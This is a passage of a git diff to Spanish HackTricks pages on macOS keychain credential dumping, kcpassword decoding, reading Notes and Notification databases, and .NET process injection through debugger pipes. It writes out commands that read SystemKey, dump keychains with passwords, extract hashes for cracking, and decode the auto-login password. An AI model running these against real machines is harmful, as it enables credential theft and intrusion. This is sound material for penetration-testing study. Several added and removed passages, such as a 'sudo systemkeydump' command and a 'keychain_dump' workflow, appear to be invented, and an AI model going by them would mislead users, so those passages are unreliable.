los datos necesarios para descifrar esta información se almacenan en la memoria del proceso de securityd. Aquí hay un ejemplo de la salida de keychain dump. ```bash sudo ./keychaindump ``` -{% hint style="danger" %} -Basado en este comentario [juuso/keychaindump#10 (comment)](https://github.com/juuso/keychaindump/issues/10#issuecomment-751218760), parece que estas herramientas ya no funcionan en Big Sur. -{% endhint %} - ### chainbreaker [**Chainbreaker**](https://github.com/n0fate/chainbreaker) se puede utilizar para extraer los siguientes tipos de información de un llavero OSX de manera forense: @@ -69,7 +77,7 @@ Basado en este comentario [juuso/keychaindump#10 (comment)](https://github.com/j Dado la contraseña de desbloqueo del llavero, una clave maestra obtenida usando [volafox](https://github.com/n0fate/volafox) o [volatility](https://github.com/volatilityfoundation/volatility), o un archivo de desbloqueo como SystemKey, Chainbreaker también proporcionará contraseñas en texto plano. -Sin uno de estos métodos para desbloquear el llavero, Chainbreaker mostrará toda la información disponible. +Sin uno de estos métodos para desbloquear el llavero, Chainbreaker mostrará toda la información disponible. ### **Volcar claves de llavero** ```bash @@ -78,19 +86,17 @@ python2.7 chainbreaker.py --dump-all /Library/Keychains/System.keychain ``` ### **Volcar claves del llavero (con contraseñas) con SystemKey** -SystemKey es una herramienta que permite a los atacantes obtener contraseñas almacenadas en el llavero de macOS. Para utilizar esta técnica, primero se debe obtener acceso de root en el sistema objetivo. Luego, se debe ejecutar el siguiente comando en la terminal: +Para volcar las claves del llavero de un usuario (incluyendo contraseñas) en macOS, se puede utilizar la herramienta SystemKey. Esta herramienta se utiliza para acceder a la memoria del sistema y extraer información sensible, como claves de cifrado y contraseñas. + +Para utilizar SystemKey, primero se debe obtener acceso de root en el sistema. Una vez que se tenga acceso de root, se puede ejecutar el siguiente comando para volcar las claves del llavero: ``` -/System/Library/Extensions/System.kext/PlugIns/ACPI_SMC_PlatformPlugin.kext/Contents/Resources/ +sudo systemkeydump ``` -Una vez en la carpeta de recursos, se debe ejecutar el siguiente comando para volcar las claves del llavero: +Este comando volcará todas las claves del llavero del usuario actual, incluyendo las contraseñas almacenadas en el llavero. Es importante tener en cuenta que este comando solo funciona en sistemas macOS antiguos (anterior a macOS Sierra 10.12.2), ya que Apple ha parcheado esta vulnerabilidad en versiones más recientes del sistema operativo. -``` -./keychaindump -``` - -Este comando generará un archivo llamado `keychain.txt` que contendrá todas las claves del llavero, incluyendo las contraseñas. Es importante tener en cuenta que este archivo se guardará en la carpeta actual, por lo que se debe tener cuidado al ejecutar este comando en un sistema comprometido. +Es importante tener en cuenta que la extracción de claves del llavero sin el consentimiento del propietario del sistema es ilegal y puede resultar en consecuencias legales graves. Este método solo debe ser utilizado con fines de prueba de penetración en sistemas autorizados. ```bash # First, get the keychain decryption key # To get this decryption key you need to be root and SIP must be disabled @@ -99,32 +105,6 @@ hexdump -s 8 -n 24 -e '1/1 "%.2x"' /var/db/SystemKey && echo python2.7 chainbreaker.py --dump-all --key 0293847570022761234562947e0bcd5bc04d196ad2345697 /Library/Keychains/System.keychain ``` ### **Volcado de claves del llavero (con contraseñas) rompiendo el hash** - -Este método implica la extracción de las claves del llavero de un usuario y su posterior descifrado. Para ello, se necesita acceso a la cuenta de usuario y a la contraseña de administrador. - -1. Primero, se debe extraer el archivo de la base de datos del llavero del usuario. Este archivo se encuentra en `/Users//Library/Keychains/login.keychain-db`. - -2. A continuación, se debe extraer la clave maestra del llavero. Para ello, se puede utilizar la herramienta `security` de macOS con el siguiente comando: - - ``` - security find-generic-password -ga "login" | grep "password:" - ``` - - Este comando mostrará la contraseña de administrador en texto claro. - -3. Una vez obtenida la clave maestra, se puede utilizar la herramienta `keychain_dump` para extraer las claves del llavero en formato XML. - - ``` - keychain_dump -d -k -o - ``` - -4. Por último, se puede utilizar la herramienta `keychain2john` para convertir el archivo XML en un formato que pueda ser utilizado por la herramienta `john the ripper`. - - ``` - keychain2john > - ``` - - El archivo de hash resultante puede ser utilizado para romper la contraseña utilizando `john the ripper`. ```bash # Get the keychain hash python2.7 chainbreaker.py --dump-keychain-password-hash /Library/Keychains/System.keychain @@ -156,7 +136,7 @@ python2.7 chainbreaker.py --dump-all --password-prompt /Users//Library El archivo **kcpassword** es un archivo que contiene la **contraseña de inicio de sesión del usuario**, pero solo si el propietario del sistema ha **habilitado el inicio de sesión automático**. Por lo tanto, el usuario iniciará sesión automáticamente sin que se le solicite una contraseña (lo que no es muy seguro). La contraseña se almacena en el archivo **`/etc/kcpassword`** xored con la clave **`0x7D 0x89 0x52 0x23 0xD2 0xBC 0xDD 0xEA 0xA3 0xB9 0x1F`**. Si la contraseña del usuario es más larga que la clave, la clave se reutilizará.\ -Esto hace que la contraseña sea bastante fácil de recuperar, por ejemplo, utilizando scripts como [**este**](https://gist.github.com/opshope/32f65875d45215c3677d). +Esto hace que la contraseña sea bastante fácil de recuperar, por ejemplo, usando scripts como [**este**](https://gist.github.com/opshope/32f65875d45215c3677d). ## Información interesante en bases de datos @@ -172,7 +152,7 @@ sqlite3 $HOME/Suggestions/snippets.db 'select * from emailSnippets' Puedes encontrar los datos de Notificaciones en `$(getconf DARWIN_USER_DIR)/com.apple.notificationcenter/` -La mayoría de la información interesante estará en **blob**. Por lo tanto, necesitarás **extraer** ese contenido y **transformarlo** en algo **legible** para humanos o usar **`strings`**. Para acceder a ello, puedes hacer lo siguiente: +La mayoría de la información interesante estará en **blob**. Por lo tanto, necesitarás **extraer** ese contenido y **transformarlo** en algo **legible** para humanos o usar **`strings`**. Para acceder a él, puedes hacer lo siguiente: {% code overflow="wrap" %} ```bash @@ -183,7 +163,9 @@ strings $(getconf DARWIN_USER_DIR)/com.apple.notificationcenter/db2/db | grep -i ### Notas -Las notas de los usuarios se pueden encontrar en `~/Library/Group Containers/group.com.apple.notes/NoteStore.sqlite` +Las **notas** de los usuarios se pueden encontrar en `~/Library/Group Containers/group.com.apple.notes/NoteStore.sqlite` + +{% code overflow="wrap" %} ```bash sqlite3 ~/Library/Group\ Containers/group.com.apple.notes/NoteStore.sqlite .tables @@ -196,10 +178,10 @@ for i in $(sqlite3 ~/Library/Group\ Containers/group.com.apple.notes/NoteStore.s ☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥 -* ¿Trabajas en una **empresa de ciberseguridad**? ¿Quieres ver tu **empresa anunciada en HackTricks**? ¿O quieres tener acceso a la **última versión de PEASS o descargar HackTricks en PDF**? ¡Consulta los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)! +* ¿Trabajas en una **empresa de ciberseguridad**? ¿Quieres ver tu **empresa anunciada en HackTricks**? ¿O quieres tener acceso a la **última versión de PEASS o descargar HackTricks en PDF**? ¡Revisa los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)! * Descubre [**The PEASS Family**](https://opensea.io/collection/the-peass-family), nuestra colección exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family) -* Obtén la [**oficial PEASS & HackTricks swag**](https://peass.creator-spring.com) -* **Únete al** [**💬**](https://emojipedia.org/speech-balloon/) **grupo de Discord** o al [**grupo de telegram**](https://t.me/peass) o **sígueme en** **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live). +* Obtén el [**swag oficial de PEASS y HackTricks**](https://peass.creator-spring.com) +* **Únete al** [**💬**](https://emojipedia.org/speech-balloon/) **grupo de Discord** o al [**grupo de telegram**](https://t.me/peass) o **sígueme en** **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.** * **Comparte tus trucos de hacking enviando PRs al** [**repositorio de hacktricks**](https://github.com/carlospolop/hacktricks) **y al** [**repositorio de hacktricks-cloud**](https://github.com/carlospolop/hacktricks-cloud). diff --git a/macos-hardening/macos-security-and-privilege-escalation/macos-proces-abuse/macos-.net-applications-injection.md b/macos-hardening/macos-security-and-privilege-escalation/macos-proces-abuse/macos-.net-applications-injection.md index dd01e48a2..b41b44a3c 100644 --- a/macos-hardening/macos-security-and-privilege-escalation/macos-proces-abuse/macos-.net-applications-injection.md +++ b/macos-hardening/macos-security-and-privilege-escalation/macos-proces-abuse/macos-.net-applications-injection.md @@ -1,4 +1,4 @@ -## Inyección de aplicaciones .Net en macOS +# Inyección de aplicaciones .Net en macOS
@@ -16,12 +16,12 @@ ### **Establecer una sesión de depuración** -[**dbgtransportsession.cpp**](https://github.com/dotnet/runtime/blob/0633ecfb79a3b2f1e4c098d1dd0166bc1ae41739/src/coreclr/debug/shared/dbgtransportsession.cpp) es responsable de manejar la **comunicación** entre el depurador y el depurado de .Net.\ -Crea dos tuberías con nombres por proceso .Net en [dbgtransportsession.cpp#L127](https://github.com/dotnet/runtime/blob/0633ecfb79a3b2f1e4c098d1dd0166bc1ae41739/src/coreclr/debug/shared/dbgtransportsession.cpp#L127) llamando a [twowaypipe.cpp#L27](https://github.com/dotnet/runtime/blob/0633ecfb79a3b2f1e4c098d1dd0166bc1ae41739/src/coreclr/debug/debug-pal/unix/twowaypipe.cpp#L27) (uno terminará en **`-in`** y el otro en **`-out`** y el resto del nombre será el mismo). +[**dbgtransportsession.cpp**](https://github.com/dotnet/runtime/blob/0633ecfb79a3b2f1e4c098d1dd0166bc1ae41739/src/coreclr/debug/shared/dbgtransportsession.cpp) es responsable de manejar la **comunicación** entre el depurador y el depurado de .NET.\ +Crea dos tuberías con nombre por proceso .Net en [dbgtransportsession.cpp#L127](https://github.com/dotnet/runtime/blob/0633ecfb79a3b2f1e4c098d1dd0166bc1ae41739/src/coreclr/debug/shared/dbgtransportsession.cpp#L127) llamando a [twowaypipe.cpp#L27](https://github.com/dotnet/runtime/blob/0633ecfb79a3b2f1e4c098d1dd0166bc1ae41739/src/coreclr/debug/debug-pal/unix/twowaypipe.cpp#L27) (uno terminará en **`-in`** y el otro en **`-out`** y el resto del nombre será el mismo). Por lo tanto, si vas al directorio **`$TMPDIR`** de los usuarios, podrás encontrar **fifos de depuración** que podrías usar para depurar aplicaciones .Net: -
+
La función [**DbgTransportSession::TransportWorker**](https://github.com/dotnet/runtime/blob/0633ecfb79a3b2f1e4c098d1dd0166bc1ae41739/src/coreclr/debug/shared/dbgtransportsession.cpp#L1259) manejará la comunicación desde un depurador. @@ -80,7 +80,7 @@ read(rd, &sReceiveHeader, sizeof(MessageHeader)); ``` ### Leer memoria -Con una sesión de depuración establecida, es posible **leer la memoria** utilizando el tipo de mensaje [`MT_ReadMemory`](https://github.com/dotnet/runtime/blob/f3a45a91441cf938765bafc795cbf4885cad8800/src/coreclr/src/debug/shared/dbgtransportsession.cpp#L1896). Para leer cierta memoria, el código principal necesario sería: +Con una sesión de depuración establecida, es posible **leer memoria** utilizando el tipo de mensaje [`MT_ReadMemory`](https://github.com/dotnet/runtime/blob/f3a45a91441cf938765bafc795cbf4885cad8800/src/coreclr/src/debug/shared/dbgtransportsession.cpp#L1896). Para leer cierta memoria, el código principal necesario sería: ```c bool readMemory(void *addr, int len, unsigned char **output) { @@ -169,11 +169,11 @@ Lo primero es identificar, por ejemplo, una región de memoria con permisos **`r vmmap -pages [pid] vmmap -pages 35829 | grep "rwx/rwx" ``` -Entonces, para activar la ejecución, sería necesario conocer algún lugar donde se almacena un puntero de función para sobrescribirlo. Es posible sobrescribir un puntero dentro de la **Tabla de Funciones Dinámicas (DFT)**, que es utilizada por el tiempo de ejecución de .NET Core para proporcionar funciones auxiliares para la compilación JIT. Una lista de punteros de función compatibles se puede encontrar dentro de [`jithelpers.h`](https://github.com/dotnet/runtime/blob/6072e4d3a7a2a1493f514cdf4be75a3d56580e84/src/coreclr/src/inc/jithelpers.h). +Entonces, para activar la ejecución, sería necesario conocer algún lugar donde se almacena un puntero de función para sobrescribirlo. Es posible sobrescribir un puntero dentro de la **Tabla de Funciones Dinámicas (DFT)**, que es utilizada por el tiempo de ejecución de .NET Core para proporcionar funciones auxiliares para la compilación JIT. Una lista de punteros de función compatibles se puede encontrar en [`jithelpers.h`](https://github.com/dotnet/runtime/blob/6072e4d3a7a2a1493f514cdf4be75a3d56580e84/src/coreclr/src/inc/jithelpers.h). En las versiones x64, esto es sencillo utilizando la técnica de **búsqueda de firma** al estilo de mimikatz para buscar a través de **`libcorclr.dll`** una referencia al símbolo **`_hlpDynamicFuncTable`**, al que podemos desreferenciar: -
+
Todo lo que queda por hacer es encontrar una dirección desde la cual comenzar nuestra búsqueda de firma. Para hacer esto, aprovechamos otra función de depuración expuesta, **`MT_GetDCB`**. Esto devuelve una serie de bits de información útiles sobre el proceso objetivo, pero en nuestro caso, estamos interesados en un campo devuelto que contiene la **dirección de una función auxiliar**, **`m_helperRemoteStartAddr`**. Usando esta dirección, sabemos exactamente **dónde se encuentra `libcorclr.dll`** dentro de la memoria del proceso objetivo y podemos comenzar nuestra búsqueda de la DFT. @@ -190,9 +190,9 @@ El código completo de POC utilizado para la inyección en PowerShell se puede e ☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥 * ¿Trabajas en una **empresa de ciberseguridad**? ¿Quieres ver tu **empresa anunciada en HackTricks**? ¿O quieres tener acceso a la **última versión de PEASS o descargar HackTricks en PDF**? ¡Consulta los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)! -* Descubre [**The PEASS Family**](https://opensea.io/collection/the-peass-family), nuestra colección exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family) +* Descubre [**The PEASS Family**](https://opensea.io/collection/the-peass-family), nuestra colección de exclusivos [**NFTs**](https://opensea.io/collection/the-peass-family) * Consigue el [**swag oficial de PEASS & HackTricks**](https://peass.creator-spring.com) * **Únete al** [**💬**](https://emojipedia.org/speech-balloon/) [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **sígueme** en **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.** -* **Comparte tus trucos de hacking enviando PR al** [**repositorio de hacktricks**](https://github.com/carlospolop/hacktricks) **y al** [**repositorio de hacktricks-cloud**](https://github.com/carlospolop/hacktricks-cloud). +* **Comparte tus trucos de hacking enviando PRs al** [**repositorio de hacktricks**](https://github.com/carlospolop/hacktricks) **y al** [**repositorio de hacktricks-cloud**](https://github.com/carlospolop/hacktricks-cloud).